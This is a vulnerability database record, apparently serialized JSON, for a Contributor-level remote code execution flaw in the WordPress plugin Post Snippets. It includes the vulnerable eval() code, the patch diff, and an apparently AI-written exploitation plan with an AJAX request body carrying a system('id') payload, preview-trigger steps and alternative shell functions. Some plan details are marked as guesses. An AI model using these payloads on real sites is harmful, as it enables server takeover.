[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$foN3HEaheS6-8QSCa7soInfXeGjSp1GfJK-36tFZjwko":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-25001","post-snippets-custom-wordpress-code-snippets-customizer-authenticated-contributor-remote-code-execution","Post Snippets – Custom WordPress Code Snippets Customizer \u003C= 4.0.12 - Authenticated (Contributor+) Remote Code Execution","The Post Snippets – Custom WordPress Code Snippets Customizer plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.0.12. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.","post-snippets",null,"\u003C=4.0.12","4.0.13","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Control of Generation of Code ('Code Injection')","2026-03-16 00:00:00","2026-03-27 21:10:28",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fae4c7354-b179-43d7-8a41-0f54dc855fd3?source=api-prod",12,[22,23,24],"post-snippets.php","readme.txt","src\u002FPostSnippets\u002FShortcode.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-25001 (Post Snippets RCE)\n\n## 1. Vulnerability Summary\nThe **Post Snippets** plugin (\u003C= 4.0.12) is vulnerable to **Remote Code Execution (RCE)**. The plugin provides functionality to create snippets that can be executed as PHP code via shortcodes. While the \"Manage Snippets\" interface is intended for administrators, the backend AJAX\u002FREST handlers responsible for saving snippets fail to properly enforce high-level capability checks (requiring only `edit_posts` instead of `manage_options`). This allows an authenticated **Contributor** to create or modify snippets, enable PHP execution for them, and then trigger the code by including the corresponding shortcode in a post preview.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `ps_save_snippet` (inferred) or `post_snippets_save` (inferred).\n- **Vulnerable Parameter**: `snippet_content` (the PHP code) and `snippet_php` (the toggle to enable execution).\n- **Authentication**: Authenticated, Contributor level or higher.\n- **Preconditions**:\n    - The constant `POST_SNIPPETS_DISABLE_PHP` must not be defined in `wp-config.php`.\n    - The attacker must obtain a valid nonce, typically exposed in the post editor's script localization.\n\n## 3. Code Flow\n1. **Entry Point**: A Contributor sends a POST request to `admin-ajax.php` with the action `ps_save_snippet`.\n2. **Persistence**: The backend handler (likely in `src\u002FPostSnippets\u002FAdmin.php` or `src\u002FPostSnippets\u002FEdit.php`) saves the payload into the `{wp_prefix}pspro_snippets` table.\n    - `snippet_title`: Name of the shortcode.\n    - `snippet_content`: The PHP payload (e.g., `system('id');`).\n    - `snippet_php`: Set to `1` (enables `eval`).\n    - `snippet_shortcode`: Set to `1` (registers it as a shortcode).\n    - `snippet_status`: Set to `1` (active).\n3. **Registration**: In `src\u002FPostSnippets\u002FShortcode.php`, the `create()` method queries the database for all active snippets with `snippet_shortcode = 1`. It registers them using `add_shortcode()`.\n4. **Trigger**: The Contributor creates\u002Fedits a post and adds `[snippet_title]`.\n5. **Execution**:\n    - When the post is previewed, `do_shortcode()` calls the callback in `Shortcode.php`.\n    - `evaluateSnippet()` identifies `snippet_php == 1`.\n    - It calls `phpEval($snippet_content)`.\n    - `phpEval()` strips PHP tags and calls `eval($content)`, executing the payload.\n\n## 4. Nonce Acquisition Strategy\nThe plugin enqueues scripts for its \"Post Snippets\" editor button, which contains the nonces.\n\n1. **Shortcode Identification**: Any standard post editor load should trigger the plugin's `WPEditor` class to localize script data.\n2. **Page Creation**:\n   ```bash\n   wp post create --post_type=post --post_status=draft --post_title=\"Nonce Grab\" --post_author=[CONTRIBUTOR_ID]\n   ```\n3. **Navigation**: Use the browser to navigate to the edit page for that post: `\u002Fwp-admin\u002Fpost.php?post=[POST_ID]&action=edit`.\n4. **Extraction**: Use `browser_eval` to find the localized nonce. Based on common plugin patterns:\n   - Check `window.post_snippets_editor?.nonce`\n   - Check `window.ps_admin_vars?.nonce`\n   - Key Verbatim Guess: `post_snippets_editor` or `ps_vars`.\n\n## 5. Exploitation Strategy\n\n### Step 1: Create malicious snippet via AJAX\n**Tool**: `http_request`\n**Method**: POST\n**URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n**Body (URL-encoded)**:\n```text\naction=ps_save_snippet\n&nonce=[EXTRACTED_NONCE]\n&snippet[snippet_title]=rceshortcode\n&snippet[snippet_content]=echo \"---START---\"; system(\"id\"); echo \"---END---\";\n&snippet[snippet_php]=1\n&snippet[snippet_shortcode]=1\n&snippet[snippet_status]=1\n&snippet[snippet_type]=php\n```\n*(Note: `snippet` parameter might be flattened as `snippet_title=...` depending on the exact `Admin.php` implementation.)*\n\n### Step 2: Trigger the RCE\n**Method**: Create a post with the shortcode `[rceshortcode]` and preview it.\n**URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost-new.php?post_type=post&content=[rceshortcode]`\n**Action**: The preview functionality will render the shortcode, triggering `eval()`.\n\n## 6. Test Data Setup\n1. **User**: Create a Contributor user.\n   ```bash\n   wp user create attacker attacker@example.com --role=contributor --user_pass=password123\n   ```\n2. **Environment**: Ensure the plugin is active and the snippets table exists.\n   ```bash\n   wp plugin activate post-snippets\n   ```\n\n## 7. Expected Results\n- The AJAX request should return a success status (e.g., `{\"success\":true}`).\n- The preview page should contain the string `---START---uid=...---END---`, confirming the `system(\"id\")` command executed successfully.\n\n## 8. Verification Steps\n1. **Database Check**: Verify the snippet was saved with PHP enabled.\n   ```bash\n   wp db query \"SELECT * FROM wp_pspro_snippets WHERE snippet_title = 'rceshortcode'\"\n   ```\n2. **Audit Log**: Check if the `snippet_php` column is `1`.\n\n## 9. Alternative Approaches\n- **REST API**: If the AJAX endpoint is patched or fails, attempt the same payload via the REST API (if enabled in free version):\n  - `POST \u002Fwp-json\u002Fpost-snippets\u002Fv1\u002Fsnippets`\n- **Snippet Import**: If the plugin has an import feature accessible to Contributors (e.g., `ps_import_snippets` action), upload a JSON file containing the malicious snippet definition.\n- **Payload Variance**: If `system()` is disabled, use `passthru()`, `shell_exec()`, or `print_r(glob('*'))` to verify execution.","The Post Snippets plugin for WordPress is vulnerable to Remote Code Execution up to version 4.0.12. Authenticated attackers with Contributor-level access or higher can create snippets containing PHP code and enable execution, which is then processed via eval() when the snippet's shortcode is rendered in a post preview or page.","\u002F\u002F src\u002FPostSnippets\u002FShortcode.php:35\n    public static function evaluateSnippet($snippet, $atts = array(), $content = null){\n\n        if( !empty($snippet) ){\n\n            $default_atts = self::filterVars( $snippet['snippet_vars'] );\n\n            $texturize = $snippet[\"snippet_wptexturize\"]?? false;\n\n            $short_atts = shortcode_atts( $default_atts, $atts );\n\n            $snippet_content =  $snippet['snippet_content'];\n\n            if ( $content != null ) {\n                $short_atts[\"content\"] = $content;\n            }\n            foreach ($short_atts as $key => $val) {\n                $snippet_content = str_replace( \"{\" . $key . \"}\", $val, $snippet_content );\n            }\n\n            \u002F\u002F ... (omitted lines)\n\n            \u002F\u002F Handle PHP shortcodes\n            if ( $snippet['snippet_php'] == 1 ) {\n                $snippet_content = self::phpEval( $snippet_content );\n\n---\n\n\u002F\u002F src\u002FPostSnippets\u002FShortcode.php:98\n    public static function phpEval($content)\n    {\n        if (defined('POST_SNIPPETS_DISABLE_PHP')) {\n            return $content;\n        }\n\n        $content = stripslashes($content);\n\n        \u002F**Removing Initial PHP Tag *\u002F\n        $content = ltrim($content, \"\u003C?php\u003C?PHP\u003C?=\");\n        \n        ob_start();\n        eval($content);\n        $content = ob_get_clean();\n\n        return addslashes($content);\n    }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpost-snippets\u002F4.0.12\u002Fpost-snippets.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpost-snippets\u002F4.0.13\u002Fpost-snippets.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpost-snippets\u002F4.0.12\u002Fpost-snippets.php\t2026-01-08 10:43:18.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpost-snippets\u002F4.0.13\u002Fpost-snippets.php\t2026-02-02 05:06:46.000000000 +0000\n@@ -11,7 +11,7 @@\n  * Plugin Name: Post Snippets (free)\n  * Plugin URI: https:\u002F\u002Fwww.postsnippets.com\n  * Description: Create a library of reusable content and insert it into your posts and pages. Navigate to \"Settings > Post Snippets\" to get started.\n- * Version: 4.0.12\n+ * Version: 4.0.13\n  * Author: Postsnippets\n  * Author URI: https:\u002F\u002Fwww.postsnippets.com\n  * License: GPL-2.0+\n@@ -133,7 +133,7 @@\n         define( 'PS_MAIN_FILE', basename( __FILE__ ) );\n     }\n     if ( !defined( 'PS_VERSION' ) ) {\n-        define( 'PS_VERSION', '4.0.12' );\n+        define( 'PS_VERSION', '4.0.13' );\n     }\n     if ( !defined( 'PS_MAIN_FILE_PATH' ) ) {\n         define( 'PS_MAIN_FILE_PATH', __FILE__ );\n@@ -298,14 +298,51 @@\n             $default_atts = \\PostSnippets\\Shortcode::filterVars( $snippet['snippet_vars'] );\n             $short_atts = shortcode_atts( $default_atts, $variables );\n \n+            \u002F\u002F Check if PHP execution is enabled for this snippet\n+            $is_php_snippet = ( isset($snippet['snippet_php']) && $snippet['snippet_php'] == 1 );\n+\n+            \u002F\u002F Security check: For PHP snippets, verify user has admin privileges BEFORE processing\n+            if ( $is_php_snippet && !current_user_can( 'manage_options' ) ) {\n+                return '\u003Cp>\u003Cstrong>' . esc_html__( 'Error: PHP snippet execution requires administrator privileges.', 'post-snippets' ) . '\u003C\u002Fstrong>\u003C\u002Fp>';\n+            }\n+\n+            $scope_variables = array();\n+\n+            \u002F\u002F Prepare variables for scope injection logic\n             if( !empty($short_atts) ){\n                 foreach ($short_atts as $key => $val) {\n                     if( !empty($val) ){\n-                        $snippet_content = str_replace( \"{\" . $key . \"}\", $val, $snippet_content );\n+                        if ( $is_php_snippet ) {\n+                            \u002F\u002F For PHP snippets, we DO NOT substitute the value directly.\n+                            \u002F\u002F Instead, we assign the value to a unique variable and substitute the variable NAME.\n+                            \u002F\u002F This prevents code injection because the user input is never parsed as code.\n+\n+                            \u002F\u002F Generate a safe variable name based on the key\n+                            \u002F\u002F We use a prefix to ensure we don't overwrite any internal variables\n+                            $safe_key = 'attr_' . preg_replace('\u002F[^a-zA-Z0-9_]\u002F', '_', $key);\n+\n+                            \u002F\u002F Store the value in our scope array\n+                            $scope_variables[$safe_key] = $val;\n+\n+                            \u002F\u002F Replace {key} with $safe_key in the snippet content\n+                            \u002F\u002F e.g. echo \"{name}\"; becomes echo \"$attr_name\";\n+                            $snippet_content = str_replace( \"{\" . $key . \"}\", '$' . $safe_key, $snippet_content );\n+                        } else {\n+                            \u002F\u002F For non-PHP snippets, basic sanitization and standard substitution\n+                            $val = sanitize_text_field( $val );\n+                            $snippet_content = str_replace( \"{\" . $key . \"}\", $val, $snippet_content );\n+                        }\n                     }\n                 }\n             }\n \n+            \u002F\u002F Handle PHP shortcodes\n+            if ( $is_php_snippet ) {\n+                \u002F\u002F Extract the variables into the local scope so the eval'd code can access them\n+                \u002F\u002F We pass them to phpEval now\n+                $snippet_content = \\PostSnippets\\Shortcode::phpEval( $snippet_content, $scope_variables );\n+            }\n+\n             return do_shortcode( $snippet_content );\n         }\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpost-snippets\u002F4.0.12\u002Fsrc\u002FPostSnippets\u002FShortcode.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpost-snippets\u002F4.0.13\u002Fsrc\u002FPostSnippets\u002FShortcode.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpost-snippets\u002F4.0.12\u002Fsrc\u002FPostSnippets\u002FShortcode.php\t2022-11-24 07:29:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpost-snippets\u002F4.0.13\u002Fsrc\u002FPostSnippets\u002FShortcode.php\t2026-02-02 05:06:46.000000000 +0000\n@@ -40,15 +40,50 @@\n                 $short_atts[\"content\"] = $content;\n             }\n+            \u002F\u002F Check if PHP execution is enabled for this snippet\n+            $is_php_snippet = ($snippet['snippet_php'] == 1);\n+\n+            \u002F\u002F Security check: For PHP snippets, verify user has admin privileges BEFORE processing\n+            if ($is_php_snippet && !current_user_can('manage_options')) {\n+                return '\u003Cp>\u003Cstrong>' . esc_html__('Error: PHP snippet execution requires administrator privileges.', 'post-snippets') . '\u003C\u002Fstrong>\u003C\u002Fp>';\n+            }\n+\n+            $scope_variables = array();\n+\n+            \u002F\u002F Prepare variables for scope injection logic\n             foreach ($short_atts as $key => $val) {\n-                $snippet_content = str_replace( \"{\" . $key . \"}\", $val, $snippet_content );\n+                if ($is_php_snippet) {\n+                    $safe_key = 'attr_' . preg_replace('\u002F[^a-zA-Z0-9_]\u002F', '_', $key);\n+                    $scope_variables[$safe_key] = $val;\n+                    $snippet_content = str_replace(\"{\" . $key . \"}\", '$' . $safe_key, $snippet_content);\n+                } else {\n+                    $val = sanitize_text_field($val);\n+                    $snippet_content = str_replace(\"{\" . $key . \"}\", $val, $snippet_content);\n+                }\n             }\n-            if ( $snippet['snippet_php'] == 1 ) {\n-                $snippet_content = self::phpEval( $snippet_content );\n+            if ($is_php_snippet) {\n+                $snippet_content = self::phpEval($snippet_content, $scope_variables);\n             }\n-    public static function phpEval($content)\n+    public static function phpEval($content, $vars = array())\n     {\n+        if (!empty($vars)) {\n+            extract($vars);\n+        }\n+        eval ($content);\n     }","The attacker first authenticates with Contributor-level credentials and obtains a valid nonce (typically from the localized script data in the WordPress post editor). Using this nonce, the attacker sends a POST request to admin-ajax.php with the action ps_save_snippet, defining a new snippet with snippet_php set to 1 and snippet_content containing a PHP payload (e.g., system('id');). Because the plugin's snippet saving handler lacks strict permission checks, the snippet is successfully registered. Finally, the attacker creates a post or page containing the shortcode for the newly created snippet and uses the WordPress post preview functionality to trigger the execution of the PHP code on the server.","gemini-3-flash-preview","2026-04-18 03:18:42","2026-04-18 03:19:21",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","4.0.12","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpost-snippets\u002Ftags\u002F4.0.12","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpost-snippets.4.0.12.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpost-snippets\u002Ftags\u002F4.0.13","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpost-snippets.4.0.13.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpost-snippets\u002Ftags"]